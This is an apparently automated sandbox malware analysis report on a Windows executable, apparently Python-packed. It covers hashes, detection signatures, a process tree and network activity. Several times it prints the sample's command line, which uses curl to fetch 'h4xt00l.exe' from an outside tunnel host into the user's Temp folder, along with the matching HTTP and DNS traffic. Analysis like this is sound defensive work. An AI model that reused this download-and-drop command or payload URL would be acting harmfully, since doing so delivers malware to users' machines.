Edit tour

Windows Analysis Report
aLsxeH29P2.exe

Overview

General Information

Sample name:	aLsxeH29P2.exe renamed because original name is a hash value
Original sample name:	8bd6a723809e23d1c14d7ff528e16e996a3b0b0432e2b7feb4eb5db52c542173(1).exe
Analysis ID:	1573003
MD5:	43f63dde42af90b34befb25ca46e33d7
SHA1:	2ad1824df97e3d1275521faed88ede96fe41e035
SHA256:	8bd6a723809e23d1c14d7ff528e16e996a3b0b0432e2b7feb4eb5db52c542173
Tags:	exeloclx-iouser-JAMESWT_MHT
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Creates HTML files with .exe extension (expired dropper behavior)

AV process strings found (often used to terminate AV products)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

JA3 SSL client fingerprint seen in connection with other malware

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Usage Of Web Request Commands And Cmdlets

Classification

Process Tree

System is w10x64

aLsxeH29P2.exe (PID: 7352 cmdline: "C:\Users\user\Desktop\aLsxeH29P2.exe" MD5: 43F63DDE42AF90B34BEFB25CA46E33D7)

aLsxeH29P2.exe (PID: 7368 cmdline: "C:\Users\user\Desktop\aLsxeH29P2.exe" MD5: 43F63DDE42AF90B34BEFB25CA46E33D7)

curl.exe (PID: 7384 cmdline: curl https://haxerr.eu.loclx.io/h4xt00l.exe --output C:\Users\user\AppData\Local\Temp\h4xt00l.exe MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

conhost.exe (PID: 7392 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Sigma Signatures

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: curl https://haxerr.eu.loclx.io/h4xt00l.exe --output C:\Users\user\AppData\Local\Temp\h4xt00l.exe, CommandLine: curl https://haxerr.eu.loclx.io/h4xt00l.exe --output C:\Users\user\AppData\Local\Temp\h4xt00l.exe, CommandLine|base64offset|contains: r, Image: C:\Windows\System32\curl.exe, NewProcessName: C:\Windows\System32\curl.exe, OriginalFileName: C:\Windows\System32\curl.exe, ParentCommandLine: "C:\Users\user\Desktop\aLsxeH29P2.exe", ParentImage: C:\Users\user\Desktop\aLsxeH29P2.exe, ParentProcessId: 7368, ParentProcessName: aLsxeH29P2.exe, ProcessCommandLine: curl https://haxerr.eu.loclx.io/h4xt00l.exe --output C:\Users\user\AppData\Local\Temp\h4xt00l.exe, ProcessId: 7384, ProcessName: curl.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://haxerr.eu.loclx.io/h4xt00l.exe?	Avira URL Cloud: Label: phishing
Source: https://haxerr.eu.loclx.io/h4xt00l.exe	Avira URL Cloud: Label: phishing
Source: https://haxerr.eu.loclx.io/h4xt00l.exeQ	Avira URL Cloud: Label: phishing
Source: https://haxerr.eu.loclx.io/h4xt00l.exe--outputC:	Avira URL Cloud: Label: phishing

Multi AV Scanner detection for submitted file

Source: aLsxeH29P2.exe	Virustotal: Detection: 50%			Perma Link
Source: aLsxeH29P2.exe	ReversingLabs: Detection: 36%

Source: unknown

HTTPS traffic detected: 167.99.38.229:443 -> 192.168.2.4:49732 version: TLS 1.2

Source: aLsxeH29P2.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: aLsxeH29P2.exe, 00000000.00000003.1718939260.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\python312.pdb source: aLsxeH29P2.exe, 00000001.00000002.2975033574.00007FFDFB5F2000.00000002.00000001.01000000.00000004.sdmp, python312.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: aLsxeH29P2.exe, 00000000.00000003.1719100028.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, unicodedata.pyd.0.dr
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb\| source: libcrypto-3.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: aLsxeH29P2.exe, 00000000.00000003.1714561302.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, _hashlib.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_decimal.pdb$$ source: _decimal.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: aLsxeH29P2.exe, 00000000.00000003.1714677193.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, _lzma.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_decimal.pdb source: _decimal.pyd.0.dr
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.15 3 Sep 20243.0.15built on: Wed Sep 4 15:52:04 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_p
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: aLsxeH29P2.exe, 00000000.00000003.1714677193.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, _lzma.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: aLsxeH29P2.exe, 00000000.00000003.1714279446.0000021C0757F000.00000004.00000020.00020000.00000000.sdmp, _bz2.pyd.0.dr
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: aLsxeH29P2.exe, 00000000.00000003.1714112999.0000021C0757E000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: libcrypto-3.dll.0.dr
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: aLsxeH29P2.exe, 00000000.00000003.1714112999.0000021C0757E000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb source: libcrypto-3.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: aLsxeH29P2.exe, 00000000.00000003.1714799794.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, _socket.pyd.0.dr

Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DD9280 FindFirstFileExW,FindClose,	0_2_00007FF7F3DD9280
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DD83C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF7F3DD83C0
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 0_2_00007FF7F3DF1874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF7F3DF1874
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DD9280 FindFirstFileExW,FindClose,	1_2_00007FF7F3DD9280
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DD83C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	1_2_00007FF7F3DD83C0
Source: C:\Users\user\Desktop\aLsxeH29P2.exe	Code function: 1_2_00007FF7F3DF1874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	1_2_00007FF7F3DF1874

Networking

Creates HTML files with .exe extension (expired dropper behavior)

Source: C:\Windows\System32\curl.exe

File created: h4xt00l.exe.2.dr

Source: Joe Sandbox View

JA3 fingerprint: 74954a0c86284d0d6e1c4efefe92b521

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /h4xt00l.exe HTTP/1.1Host: haxerr.eu.loclx.ioUser-Agent: curl/7.83.1Accept: */*

Source: global traffic

DNS traffic detected: DNS query: haxerr.eu.loclx.io

Source: aLsxeH29P2.exe, 00000000.00000003.1718939260.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714677193.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714279446.0000021C0757F000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1717564560.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714799794.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714403552.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1719100028.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1715744414.0000021C0758D000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714561302.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1715744414.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-3.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, python312.dll.0.dr, unicodedata.pyd.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: aLsxeH29P2.exe, 00000000.00000003.1718939260.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714677193.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714279446.0000021C0757F000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1717564560.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714799794.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1715744414.0000021C07587000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714403552.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1719100028.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1715744414.0000021C0758D000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714561302.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-3.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, python312.dll.0.dr, unicodedata.pyd.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: aLsxeH29P2.exe, 00000000.00000003.1718939260.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714677193.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714279446.0000021C0757F000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1717564560.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714799794.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714403552.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1719100028.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714561302.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1715744414.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-3.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, python312.dll.0.dr, unicodedata.pyd.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: aLsxeH29P2.exe, 00000000.00000003.1718939260.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714677193.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714279446.0000021C0757F000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1717564560.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714799794.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1715744414.0000021C07587000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714403552.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1719100028.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714561302.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1715744414.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-3.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, python312.dll.0.dr, unicodedata.pyd.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: aLsxeH29P2.exe, 00000000.00000003.1718939260.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714677193.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714279446.0000021C0757F000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1717564560.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714799794.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714403552.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1719100028.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1715744414.0000021C0758D000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714561302.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1715744414.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-3.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, python312.dll.0.dr, unicodedata.pyd.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: aLsxeH29P2.exe, 00000000.00000003.1718939260.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714677193.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714279446.0000021C0757F000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1717564560.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714799794.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1715744414.0000021C07587000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714403552.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1719100028.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1715744414.0000021C0758D000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714561302.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-3.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, python312.dll.0.dr, unicodedata.pyd.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: aLsxeH29P2.exe, 00000000.00000003.1718939260.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714677193.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714279446.0000021C0757F000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1717564560.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714799794.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714403552.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1719100028.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714561302.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1715744414.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-3.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, python312.dll.0.dr, unicodedata.pyd.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: unicodedata.pyd.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: aLsxeH29P2.exe, 00000000.00000003.1718939260.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714677193.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714279446.0000021C0757F000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1717564560.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714799794.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1715744414.0000021C07587000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714403552.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1719100028.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1715744414.0000021C0758D000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714561302.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-3.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, python312.dll.0.dr, unicodedata.pyd.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: aLsxeH29P2.exe, 00000000.00000003.1718939260.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714677193.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714279446.0000021C0757F000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1717564560.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714799794.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1715744414.0000021C07587000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714403552.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1719100028.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1715744414.0000021C0758D000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714561302.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-3.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, python312.dll.0.dr, unicodedata.pyd.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: aLsxeH29P2.exe, 00000000.00000003.1718939260.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714677193.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714279446.0000021C0757F000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1717564560.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714799794.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1715744414.0000021C07587000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714403552.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1719100028.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714561302.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1715744414.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-3.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, python312.dll.0.dr, unicodedata.pyd.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: aLsxeH29P2.exe, 00000000.00000003.1718939260.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714677193.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714279446.0000021C0757F000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1717564560.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714799794.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714403552.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1719100028.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1715744414.0000021C0758D000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714561302.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1715744414.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-3.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, python312.dll.0.dr, unicodedata.pyd.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: aLsxeH29P2.exe, 00000000.00000003.1718939260.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714677193.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714279446.0000021C0757F000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1717564560.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714799794.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714403552.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1719100028.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1714561302.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, aLsxeH29P2.exe, 00000000.00000003.1715744414.0000021C07580000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, 